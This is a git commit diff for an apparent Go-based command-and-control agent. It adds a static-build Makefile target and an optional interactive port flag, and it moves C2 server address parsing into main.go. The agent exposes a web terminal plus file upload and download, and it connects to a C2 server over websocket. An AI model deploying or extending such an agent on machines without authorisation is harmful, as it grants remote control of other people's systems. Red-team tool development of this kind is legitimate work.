added interactive port argument, so it is either random by default or selected. Added static build to the makefile

This commit is contained in:
Stefan Etringer 2025-06-25 14:38:34 +00:00
parent 653bd91e94
commit 9a8161b54c
3 changed files with 58 additions and 53 deletions

View File

@ -16,6 +16,10 @@ build: ## Build the application
# $(GO_BUILD) -o $(BINARY)
$(GO_BUILD) -ldflags "-w" -o $(BINARY)
build-static: ## Build a static application
@echo "Building static $(APP_NAME)..."
$(GO_BUILD) --ldflags '-linkmode=external -extldflags=-static -w' -o $(BINARY)-static
install: build ## Install the application
@echo "Installing $(APP_NAME)..."
$(GO_INSTALL)

70
main.go
View File

@ -6,6 +6,7 @@ import (
"bytes"
"embed"
"encoding/json"
"flag"
"fmt"
"html/template"
"io"
@ -18,6 +19,7 @@ import (
"os/user"
"path/filepath"
"regexp"
"strconv"
"strings"
"sync"
@ -491,7 +493,7 @@ func handler(w http.ResponseWriter, r *http.Request) {
tmpl.Execute(w, data)
}
func startInteractiveServer() (int, net.Listener) {
func startInteractiveServer(cliInteractivePort string) (string, net.Listener) {
http.HandleFunc("/", handler)
http.HandleFunc("/upload", fileUploadHandler)
@ -499,37 +501,63 @@ func startInteractiveServer() (int, net.Listener) {
http.HandleFunc("/terminal", terminalHandler)
http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
listener, err := net.Listen("tcp", ":0")
var addPort string
var listener net.Listener
var err error
if len(cliInteractivePort) > 0 {
addPort = cliInteractivePort
listener, err = net.Listen("tcp", ":" + addPort)
} else {
listener, err = net.Listen("tcp", ":0")
addPort = strconv.Itoa(listener.Addr().(*net.TCPAddr).Port)
}
if err != nil {
log.Fatal(err)
}
port := listener.Addr().(*net.TCPAddr).Port
log.Println("Using port:", port)
return addPort, listener
}
return port, listener
// func connectionArgs () (string, string) {
func connectionArgs () (string, string) {
// Get IP address and port of the server through the
var serverAddress string
// var serverPort string
var serverWebsocketPort string
var interactivePort string
flag.StringVar(&serverAddress, "address", "127.0.0.1", "IP Address of the C2 server.")
// flag.StringVar(&serverPort, "server-port", "3333", "Port of the C2 server. This is obsolete.")
flag.StringVar(&serverWebsocketPort, "port", "5555", "Websocket port of the C2 server.")
flag.StringVar(&interactivePort, "interactive-port", "", "Port to connect directly to the agent's webapp. Port will be random if not set.")
flag.Parse()
fmt.Println("Server address is at ", serverAddress)
// fmt.Println("Server web port is ", serverPort)
fmt.Println("Server websocket port is ", serverWebsocketPort)
// webServerAddr := serverAddress + ":" + serverPort
webSocketAddr := serverAddress + ":" + serverWebsocketPort
// return webServerAddr, webSocketAddr
return webSocketAddr, interactivePort
}
func main() {
// http.HandleFunc("/", handler)
// http.HandleFunc("/upload", fileUploadHandler)
// http.HandleFunc("/download", fileDownloadHandler)
// http.HandleFunc("/terminal", terminalHandler)
// http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
// // fmt.Println("Starting server on :8080")
// // log.Fatal(http.ListenAndServe(":8080", nil))
// /* This section opens the server on a random port which is also free to use */
// listener, err := net.Listen("tcp", ":0")
// if err != nil {
// panic(err)
// }
// log.Println("Using port:", listener.Addr().(*net.TCPAddr).Port)
// log.Fatal(http.Serve(listener, nil))
webSocketAddr, cliInteractivePort := connectionArgs()
port, listener := startInteractiveServer()
addPort, listener := startInteractiveServer(cliInteractivePort)
log.Println("Using interactive port:", addPort)
log.Printf("You can connect to port %d through your browser as well", listener.Addr().(*net.TCPAddr).Port)
var wg sync.WaitGroup
wg.Add(2)
@ -541,7 +569,7 @@ func main() {
go func() {
defer wg.Done()
agentconnector.StartServer(port)
agentconnector.StartServer(addPort, webSocketAddr)
}()
wg.Wait()

View File

@ -2,7 +2,7 @@ package agentconnector
import (
"encoding/json"
"flag"
// "flag"
"fmt"
"log"
// "net/http"
@ -210,43 +210,16 @@ func GetLocalIPs() []net.IP {
return ips
}
// func connectionArgs () (string, string) {
func connectionArgs () string {
// Get IP address and port of the server through the
var serverAddress string
// var serverPort string
var serverWebsocketPort string
flag.StringVar(&serverAddress, "address", "127.0.0.1", "IP Address of the C2 server")
// flag.StringVar(&serverPort, "server-port", "3333", "Port of the C2 server. This is obsolete.")
flag.StringVar(&serverWebsocketPort, "port", "5555", "Websocket port of the C2 server")
flag.Parse()
fmt.Println("Server address is at ", serverAddress)
// fmt.Println("Server web port is ", serverPort)
fmt.Println("Server websocket port is ", serverWebsocketPort)
// webServerAddr := serverAddress + ":" + serverPort
webSocketAddr := serverAddress + ":" + serverWebsocketPort
// return webServerAddr, webSocketAddr
return webSocketAddr
}
// func main() {
func StartServer(agentInteractivePort int){
func StartServer(addPort, webSocketAddr string){
webSocketAddr := connectionArgs()
// webSocketAddr, cliInteractivePort := connectionArgs()
// agentInteractivePort is only needed for interactive sessions
agentName := "Agent-001"
agentId := strconv.Itoa(randomInt(8))
agentIp := GetLocalIP().String()
agentType := "Interactive"
addPort := strconv.Itoa(agentInteractivePort)
hostname, _ := os.Hostname()
log.Printf("AgentId: %s", agentId)